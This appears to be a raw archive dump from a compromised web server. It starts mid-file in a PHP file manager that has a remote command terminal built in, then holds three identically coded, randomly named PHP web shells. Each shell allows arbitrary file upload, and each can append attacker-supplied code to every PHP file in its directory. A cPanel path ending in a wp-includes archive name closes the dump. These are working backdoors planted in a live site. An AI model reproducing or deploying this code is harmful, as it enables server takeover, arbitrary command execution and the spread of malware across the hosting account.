$destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@mahdee:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>egbwaell.php000064400000001370151676701530007053 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> bliickjv.php000064400000001370151676701530007066 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> qwwunmvm.php000064400000001370151676701530007172 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?>
/home/emeraadmin/.cpanel/../public_html/logs/../node_modules/../4d695/wp-includes.tar